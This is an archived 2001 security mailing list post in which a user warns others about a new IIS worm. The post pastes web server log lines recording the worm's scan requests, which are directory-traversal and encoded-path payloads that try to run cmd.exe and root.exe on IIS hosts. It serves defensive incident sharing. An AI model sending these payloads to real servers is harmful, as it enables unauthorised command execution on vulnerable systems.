Hello, I and a few others I know are getting bombard on our machines with IIS requests....looks like another worm, and its much smarter than before, it seems to stay within the same class A and sometimes the same class B as the attacking machine is in. here is an excerpt of what i believe is the full scan.... 204.120.69.195 - - [18/Sep/2001:09:35:12 -0500] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 - "-" "-" 204.120.69.195 - - [18/Sep/2001:09:35:12 -0500] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 - "-" "-" 204.120.69.195 - - [18/Sep/2001:09:35:12 -0500] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 - "-" "-" 204.120.69.195 - - [18/Sep/2001:09:35:12 -0500] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 - "-" "-" 204.120.69.195 - - [18/Sep/2001:09:35:12 -0500] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 - "-" "-" 204.120.69.195 - - [18/Sep/2001:09:35:12 -0500] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 - "-" "-" 204.120.69.195 - - [18/Sep/2001:09:35:12 -0500] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 - "-" "-" 204.120.69.195 - - [18/Sep/2001:09:35:14 -0500] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 - "-" "-" 204.120.69.195 - - [18/Sep/2001:09:35:16 -0500] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 - "-" "-" 204.120.69.195 - - [18/Sep/2001:09:35:16 -0500] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 - "-" "-" 204.120.69.195 - - [18/Sep/2001:09:35:19 -0500] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 - "-" "-" 204.120.69.195 - - [18/Sep/2001:09:35:19 -0500] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 - "-" "-" 204.120.69.195 - - [18/Sep/2001:09:35:19 -0500] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 215 "-" "-" 204.120.69.195 - - [18/Sep/2001:09:35:22 -0500] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 215 "-" "-" 204.120.69.195 - - [18/Sep/2001:09:35:23 -0500] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 - "-" "-" 204.120.69.195 - - [18/Sep/2001:09:35:23 -0500] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 - "-" "-" just thought I would let you guys know...this one looks bad fella.....thank god for apache.....that is of course, if there isnt a huge bog down on the net....=[ cory p.s. Infected machines attempt to get you to download a readme.eml file, that has an .exe embedded. Not sure what is in that file, or if IE will open it automatically, (I'm on linux) , let me know, this one is spreading and resending _alot_ getting hits from the same machines now...2-4 times ---------------------------------------------------------------------------- This list is provided by the SecurityFocus ARIS analyzer service. For more information on this free incident handling, management and tracking system please see: http://aris.securityfocus.com
This archive was generated by hypermail 2b30 : Tue Sep 18 2001 - 08:26:13 PDT